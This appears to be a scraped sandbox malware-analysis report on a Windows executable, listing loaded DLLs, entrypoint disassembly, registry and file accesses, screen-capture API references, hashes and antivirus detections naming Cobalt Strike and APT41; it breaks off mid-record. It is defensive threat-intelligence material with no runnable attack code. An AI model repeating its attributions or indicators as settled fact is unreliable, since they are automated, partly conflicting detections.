"ONDEMANDCONNROUTEHELPER.DLL" at base 72c20000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "WINHTTP.DLL" at base 72b70000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72c20000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73090000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76050000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "MSISO.DLL" at base 72b00000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 74dd00002c:T49a,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15" file has an entrypoint instructions - "jmp 0x6a7141,xor eax, 0x1ae,add byte ptr [eax], al,add cl, ch,out dx, eax,and ch, ch,inc dword ptr [eax],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"2d:Tb6e,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WINHTTP"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\"; Key: ""; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "OPEN"; Path: "HKLM\ZONEMAP\RANGES\"; Key: ""; Value: "")2e:T12ee,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "MIGRATEPROXY"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTOCONFIGURL"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTODETECT"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DIALUPAUTODETECT"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: "SQMSERVICELIST"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2025"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")2f:T50f,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\WTSAPI32.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\SysWOW64\wtsapi32.dll" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to touch file "C:\Windows\SysWOW64\msvcrt.dll"30:T4e8,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\WTSAPI32.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\FLTLIB.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\WININET.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\wininet.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\iertutil.dll" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\URLMON.DLL" "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" trying to access non-existent file "C:\urlmon.dll"31:T723,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp")32:T8be,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: "PROXYDLLFILE"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "")33:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790755957925,"unified_at":"2026-09-30T08:12:37.925Z","metadata":{"hashes":{"sha256":"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15","sha1":"45fd38280808dea05a3cc03a56ec6d6055684765","md5":"fe5170685a662df5af0ce031c2e5b299","sha512":"8feea606bb2f86270cf0e7876ee0f18fc789a1a5d9e7a0244379f362244ce326c35661d94757e82628dc2cf4eae80e8d0b6dc880b6bed5a767f5b56903570626","ssdeep":"24576:GZMMnBNneRGrodXNFOb47IZBJ05v9M14alOmOpIdfHcAZXE:GqMnBNnOGIN8b4uU9I+mYIhdm","ssdeep_chunks":["24576:GZMMnBN","24576:ZMMnBNn","24576:MMnBNne","24576:MnBNneR","24576:nBNneRG","24576:BNneRGr","24576:NneRGro","24576:neRGrod","24576:eRGrodX","24576:RGrodXN","24576:GrodXNF","24576:rodXNFO","24576:odXNFOb","24576:dXNFOb4","24576:XNFOb47","24576:NFOb47I","24576:FOb47IZ","24576:Ob47IZB","24576:b47IZBJ","24576:47IZBJ0","24576:7IZBJ05","24576:IZBJ05v","24576:ZBJ05v9","24576:BJ05v9M","24576:J05v9M1","24576:05v9M14","24576:5v9M14a","24576:v9M14al","24576:9M14alO","24576:M14alOm","24576:14alOmO","24576:4alOmOp","24576:alOmOpI","24576:lOmOpId","24576:OmOpIdf","24576:mOpIdfH","24576:OpIdfHc","24576:pIdfHcA","24576:IdfHcAZ","24576:dfHcAZX","24576:fHcAZXE","49152:GZMMnBN","49152:ZMMnBNn","49152:MMnBNne","49152:MnBNneR","49152:nBNneRG","49152:BNneRGr","49152:NneRGro","49152:neRGrod","49152:eRGrodX","49152:RGrodXN","49152:GrodXNF","49152:rodXNFO","49152:odXNFOb","49152:dXNFOb4","49152:XNFOb47","49152:NFOb47I","49152:FOb47IZ","49152:Ob47IZB","49152:b47IZBJ","49152:47IZBJ0","49152:7IZBJ05","49152:IZBJ05v","49152:ZBJ05v9","49152:BJ05v9M","49152:J05v9M1","49152:05v9M14","49152:5v9M14a","49152:v9M14al","49152:9M14alO","49152:M14alOm","49152:14alOmO","49152:4alOmOp","49152:alOmOpI","49152:lOmOpId","49152:OmOpIdf","49152:mOpIdfH","49152:OpIdfHc","49152:pIdfHcA","49152:IdfHcAZ","49152:dfHcAZX","49152:fHcAZXE","24576:GqMnBNn","24576:qMnBNnO","24576:MnBNnOG","24576:nBNnOGI","24576:BNnOGIN","24576:NnOGIN8","24576:nOGIN8b","24576:OGIN8b4","24576:GIN8b4u","24576:IN8b4uU","24576:N8b4uU9","24576:8b4uU9I","24576:b4uU9I+","24576:4uU9I+m","24576:uU9I+mY","24576:U9I+mYI","24576:9I+mYIh","24576:I+mYIhd","24576:+mYIhdm"],"imphash":"603c4cf04696ea67b770eebc6a3edffa"},"file_info":{"file_name":"file","file_type":["peexe","executable"],"file_type_id":"exe","file_size":1345536,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1597073407000,"last_seen":1759737106000,"last_multi_scan":1759737106000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["apt17","axiom","barium","blackfly","cobaltstrike","commodity","criminal","deputydog","dogfish","group72","lead","ragebeast","rat","tailgater","tailgaterteam","targeted","wickedpanda","wickedspider","winntigroup","evasive","vobfus","targetedcrimeware"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":51},"sandbox_signatures":{"informative_count":90,"suspicious_count":21,"malicious_count":6,"total":117},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Diple","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.APT41","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Dump:Trojan.CobaltStrike.AQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Dump:Trojan.CobaltStrike.AQ (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Packed.VMProtect.PF 